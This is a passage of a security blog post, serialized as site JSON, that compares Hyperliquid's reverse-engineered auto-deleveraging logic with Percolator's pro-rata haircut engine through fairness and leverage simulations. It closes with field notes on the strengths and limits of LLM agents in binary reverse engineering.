",{"type":25,"tag":264,"props":177386,"children":177388},{"className":177387},[267,268],[177389],{"type":25,"tag":271,"props":177390,"children":177392},{"className":177391},[274],[177393],{"type":25,"tag":271,"props":177394,"children":177396},{"className":177395,"ariaHidden":280},[279],[177397],{"type":25,"tag":271,"props":177398,"children":177400},{"className":177399},[285],[177401,177406],{"type":25,"tag":271,"props":177402,"children":177405},{"className":177403,"style":177404},[290],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":25,"tag":271,"props":177407,"children":177409},{"className":177408},[296],[177410,177415],{"type":25,"tag":271,"props":177411,"children":177413},{"className":177412,"style":108152},[296,297],[177414],{"type":30,"value":174044},{"type":25,"tag":271,"props":177416,"children":177418},{"className":177417},[982],[177419],{"type":25,"tag":271,"props":177420,"children":177422},{"className":177421},[987,1100],[177423,177468],{"type":25,"tag":271,"props":177424,"children":177426},{"className":177425},[992],[177427,177463],{"type":25,"tag":271,"props":177428,"children":177430},{"className":177429,"style":998},[997],[177431,177447],{"type":25,"tag":271,"props":177432,"children":177433},{"style":177273},[177434,177438],{"type":25,"tag":271,"props":177435,"children":177437},{"className":177436,"style":1008},[1007],[],{"type":25,"tag":271,"props":177439,"children":177441},{"className":177440},[1013,1014,1015,1016],[177442],{"type":25,"tag":271,"props":177443,"children":177445},{"className":177444,"style":298},[296,297,1016],[177446],{"type":30,"value":301},{"type":25,"tag":271,"props":177448,"children":177449},{"style":1002},[177450,177454],{"type":25,"tag":271,"props":177451,"children":177453},{"className":177452,"style":1008},[1007],[],{"type":25,"tag":271,"props":177455,"children":177457},{"className":177456},[1013,1014,1015,1016],[177458],{"type":25,"tag":271,"props":177459,"children":177461},{"className":177460,"style":1555},[296,297,1016],[177462],{"type":30,"value":173558},{"type":25,"tag":271,"props":177464,"children":177466},{"className":177465},[1177],[177467],{"type":30,"value":1180},{"type":25,"tag":271,"props":177469,"children":177471},{"className":177470},[992],[177472],{"type":25,"tag":271,"props":177473,"children":177475},{"className":177474,"style":177316},[997],[177476],{"type":25,"tag":271,"props":177477,"children":177478},{},[],{"type":30,"value":177480}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":25,"tag":264,"props":177482,"children":177484},{"className":177483},[267,268],[177485],{"type":25,"tag":271,"props":177486,"children":177488},{"className":177487},[274],[177489],{"type":25,"tag":271,"props":177490,"children":177492},{"className":177491,"ariaHidden":280},[279],[177493],{"type":25,"tag":271,"props":177494,"children":177496},{"className":177495},[285],[177497,177501],{"type":25,"tag":271,"props":177498,"children":177500},{"className":177499,"style":3164},[290],[],{"type":25,"tag":271,"props":177502,"children":177504},{"className":177503,"style":1555},[296,297],[177505],{"type":30,"value":173558},{"type":25,"tag":26,"props":177507,"children":177508},{},[177509],{"type":30,"value":177510},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":25,"tag":177512,"props":177513,"children":177515},"git-hub-repo-link",{"url":177514},"https://github.com/aeyakovenko/percolator",[],{"type":25,"tag":26,"props":177517,"children":177518},{},[177519,177521,177526],{"type":30,"value":177520},"Given a fixed ",{"type":25,"tag":10281,"props":177522,"children":177523},{},[177524],{"type":30,"value":177525},"a priori",{"type":30,"value":177527}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":25,"tag":26,"props":177529,"children":177530},{},[177531,177533,177538,177540,177617],{"type":30,"value":177532},"One prediction that we can make is that Percolator is ",{"type":25,"tag":10281,"props":177534,"children":177535},{},[177536],{"type":30,"value":177537},"perfectly fair",{"type":30,"value":177539}," according to this scoring: the ",{"type":25,"tag":264,"props":177541,"children":177543},{"className":177542},[267,268],[177544],{"type":25,"tag":271,"props":177545,"children":177547},{"className":177546},[274],[177548],{"type":25,"tag":271,"props":177549,"children":177551},{"className":177550,"ariaHidden":280},[279],[177552],{"type":25,"tag":271,"props":177553,"children":177555},{"className":177554},[285],[177556,177560],{"type":25,"tag":271,"props":177557,"children":177559},{"className":177558,"style":154766},[290],[],{"type":25,"tag":271,"props":177561,"children":177563},{"className":177562},[296],[177564,177569],{"type":25,"tag":271,"props":177565,"children":177567},{"className":177566},[296,297],[177568],{"type":30,"value":97458},{"type":25,"tag":271,"props":177570,"children":177572},{"className":177571},[982],[177573],{"type":25,"tag":271,"props":177574,"children":177576},{"className":177575},[987,1100],[177577,177606],{"type":25,"tag":271,"props":177578,"children":177580},{"className":177579},[992],[177581,177601],{"type":25,"tag":271,"props":177582,"children":177584},{"className":177583,"style":1918},[997],[177585],{"type":25,"tag":271,"props":177586,"children":177587},{"style":1592},[177588,177592],{"type":25,"tag":271,"props":177589,"children":177591},{"className":177590,"style":1008},[1007],[],{"type":25,"tag":271,"props":177593,"children":177595},{"className":177594},[1013,1014,1015,1016],[177596],{"type":25,"tag":271,"props":177597,"children":177599},{"className":177598},[296,297,1016],[177600],{"type":30,"value":1937},{"type":25,"tag":271,"props":177602,"children":177604},{"className":177603},[1177],[177605],{"type":30,"value":1180},{"type":25,"tag":271,"props":177607,"children":177609},{"className":177608},[992],[177610],{"type":25,"tag":271,"props":177611,"children":177613},{"className":177612,"style":1619},[997],[177614],{"type":25,"tag":271,"props":177615,"children":177616},{},[],{"type":30,"value":177618}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":25,"tag":26,"props":177620,"children":177621},{},[177622,177624,177629],{"type":30,"value":177623},"We are ignoring the ",{"type":25,"tag":10281,"props":177625,"children":177626},{},[177627],{"type":30,"value":177628},"a posteriori",{"type":30,"value":177630}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":25,"tag":26,"props":177632,"children":177633},{},[177634],{"type":30,"value":177635},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":25,"tag":96,"props":177637,"children":177639},{"id":177638},"simulations",[177640],{"type":30,"value":177641},"Simulations",{"type":25,"tag":26,"props":177643,"children":177644},{},[177645],{"type":30,"value":177646},"Let's consider the following price scenarios, as we said:",{"type":25,"tag":26,"props":177648,"children":177649},{},[177650],{"type":25,"tag":698,"props":177651,"children":177654},{"alt":177652,"src":177653},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":25,"tag":26,"props":177656,"children":177657},{},[177658],{"type":30,"value":177659},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":25,"tag":26,"props":177661,"children":177662},{},[177663],{"type":25,"tag":698,"props":177664,"children":177667},{"alt":177665,"src":177666},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":25,"tag":247,"props":177669,"children":177671},{"id":177670},"percolator-is-more-optimistic",[177672],{"type":30,"value":177673},"Percolator Is More \"Optimistic\"",{"type":25,"tag":26,"props":177675,"children":177676},{},[177677,177679,177684,177686,177691,177693,177699,177701,177706],{"type":30,"value":177678},"The key difference is what happens to positions. ADL ",{"type":25,"tag":10281,"props":177680,"children":177681},{},[177682],{"type":30,"value":177683},"permanently closes",{"type":30,"value":177685}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":25,"tag":10281,"props":177687,"children":177688},{},[177689],{"type":30,"value":177690},"withdraw",{"type":30,"value":177692},", but the position stays open. If conditions improve, ",{"type":25,"tag":264,"props":177694,"children":177696},{"className":177695},[],[177697],{"type":30,"value":177698},"Residual",{"type":30,"value":177700}," goes up, ",{"type":25,"tag":264,"props":177702,"children":177704},{"className":177703},[],[177705],{"type":30,"value":97458},{"type":30,"value":177707}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":25,"tag":26,"props":177709,"children":177710},{},[177711,177713,177717],{"type":30,"value":177712},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":25,"tag":10281,"props":177714,"children":177715},{},[177716],{"type":30,"value":33307},{"type":30,"value":177718}," per position, though the tradeoff is that fewer traders get to participate.",{"type":25,"tag":26,"props":177720,"children":177721},{},[177722],{"type":25,"tag":698,"props":177723,"children":177726},{"alt":177724,"src":177725},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":25,"tag":96,"props":177728,"children":177730},{"id":177729},"some-points-to-be-made",[177731],{"type":30,"value":177732},"Some Points to Be Made",{"type":25,"tag":247,"props":177734,"children":177736},{"id":177735},"percolator-is-indifferent-to-leverage",[177737],{"type":30,"value":177738},"Percolator Is Indifferent to Leverage",{"type":25,"tag":26,"props":177740,"children":177741},{},[177742],{"type":30,"value":177743},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":25,"tag":26,"props":177745,"children":177746},{},[177747],{"type":25,"tag":698,"props":177748,"children":177751},{"alt":177749,"src":177750},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":25,"tag":247,"props":177753,"children":177755},{"id":177754},"fairness",[177756],{"type":30,"value":173309},{"type":25,"tag":26,"props":177758,"children":177759},{},[177760],{"type":30,"value":177761},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":25,"tag":26,"props":177763,"children":177764},{},[177765],{"type":25,"tag":698,"props":177766,"children":177769},{"alt":177767,"src":177768},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":25,"tag":26,"props":177771,"children":177772},{},[177773,177775,177780],{"type":30,"value":177774},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":25,"tag":264,"props":177776,"children":177778},{"className":177777},[],[177779],{"type":30,"value":171811},{"type":30,"value":177781}," we start by fully closing the worst position against the best-performing trader.",{"type":25,"tag":96,"props":177783,"children":177785},{"id":177784},"strengths-and-limitations-of-agents-for-reverse-engineering",[177786],{"type":30,"value":177787},"Strengths and Limitations of Agents for Reverse Engineering",{"type":25,"tag":26,"props":177789,"children":177790},{},[177791],{"type":30,"value":177792},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":25,"tag":247,"props":177794,"children":177796},{"id":177795},"hooks",[177797],{"type":30,"value":177798},"Hooks",{"type":25,"tag":26,"props":177800,"children":177801},{},[177802,177804,177808],{"type":30,"value":177803},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":25,"tag":10281,"props":177805,"children":177806},{},[177807],{"type":30,"value":177795},{"type":30,"value":177809},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":25,"tag":26,"props":177811,"children":177812},{},[177813],{"type":30,"value":177814},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":25,"tag":247,"props":177816,"children":177818},{"id":177817},"scale",[177819],{"type":30,"value":177820},"Scale",{"type":25,"tag":26,"props":177822,"children":177823},{},[177824],{"type":30,"value":177825},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":25,"tag":26,"props":177827,"children":177828},{},[177829],{"type":30,"value":177830},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":25,"tag":247,"props":177832,"children":177834},{"id":177833},"whats-next",[177835],{"type":30,"value":177836},"What's next?",{"type":25,"tag":26,"props":177838,"children":177839},{},[177840],{"type":30,"value":177841},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":25,"tag":177512,"props":177843,"children":177844},{"url":171472},[],{"type":25,"tag":26,"props":177846,"children":177847},{},[177848],{"type":30,"value":177849},"The analyzed binary can be found here:",{"type":25,"tag":171792,"props":177851,"children":177854},{"path":177852,"name":171396,"size":177853},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":25,"tag":247,"props":177856,"children":177858},{"id":177857},"closing-words",[177859],{"type":30,"value":177860},"Closing Words",{"type":25,"tag":26,"props":177862,"children":177863},{},[177864],{"type":30,"value":177865},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":25,"tag":26,"props":177867,"children":177868},{},[177869,177871,177876],{"type":30,"value":177870},"Flagship models got us 60% of the way there, but a lot of ",{"type":25,"tag":10281,"props":177872,"children":177873},{},[177874],{"type":30,"value":177875},"manual",{"type":30,"value":177877}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":25,"tag":26,"props":177879,"children":177880},{},[177881],{"type":30,"value":177882},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":25,"tag":26,"props":177884,"children":177885},{},[177886],{"type":30,"value":177887},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":25,"tag":177889,"props":177890,"children":177891},"report-footnotes",{},[177892],{"type":25,"tag":661,"props":177893,"children":177894},{},[177895,177900,177927,177932,177937],{"type":25,"tag":112,"props":177896,"children":177897},{},[177898],{"type":30,"value":177899},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":25,"tag":112,"props":177901,"children":177902},{},[177903,177909,177911,177917,177919,177925],{"type":25,"tag":264,"props":177904,"children":177906},{"className":177905},[],[177907],{"type":30,"value":177908},"compute_user_margin_and_shortfall",{"type":30,"value":177910}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":25,"tag":264,"props":177912,"children":177914},{"className":177913},[],[177915],{"type":30,"value":177916},"0x748",{"type":30,"value":177918}," in the abstract expressions of ",{"type":25,"tag":264,"props":177920,"children":177922},{"className":177921},[],[177923],{"type":30,"value":177924},"btree_cursor",{"type":30,"value":177926},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":25,"tag":112,"props":177928,"children":177929},{},[177930],{"type":30,"value":177931},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":25,"tag":112,"props":177933,"children":177934},{},[177935],{"type":30,"value":177936},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":25,"tag":112,"props":177938,"children":177939},{},[177940,177942,177948],{"type":30,"value":177941},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":25,"tag":264,"props":177943,"children":177945},{"className":177944},[],[177946],{"type":30,"value":177947},"s3://hl-mainnet-node-data/explorer_blocks",{"type":30,"value":1860},{"title":7,"searchDepth":11641,"depth":11641,"links":177950},[177951,177952,177953,177954,177955,177958,177959,177960,177963,177964,177967,177971],{"id":171342,"depth":11641,"text":171345},{"id":171335,"depth":11641,"text":171363},{"id":171420,"depth":11641,"text":171423},{"id":171701,"depth":11641,"text":171704},{"id":171735,"depth":11641,"text":171738,"children":177956},[177957],{"id":171874,"depth":14354,"text":171877},{"id":172653,"depth":11641,"text":172656},{"id":172749,"depth":11641,"text":172752},{"id":172967,"depth":11641,"text":172970,"children":177961},[177962],{"id":173212,"depth":14354,"text":173215},{"id":173272,"depth":11641,"text":173275},{"id":177638,"depth":11641,"text":177641,"children":177965},[177966],{"id":177670,"depth":14354,"text":177673},{"id":177729,"depth":11641,"text":177732,"children":177968},[177969,177970],{"id":177735,"depth":14354,"text":177738},{"id":177754,"depth":14354,"text":173309},{"id":177784,"depth":11641,"text":177787,"children":177972},[177973,177974,177975,177976],{"id":177795,"depth":14354,"text":177798},{"id":177817,"depth":14354,"text":177820},{"id":177833,"depth":14354,"text":177836},{"id":177857,"depth":14354,"text":177860},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630621]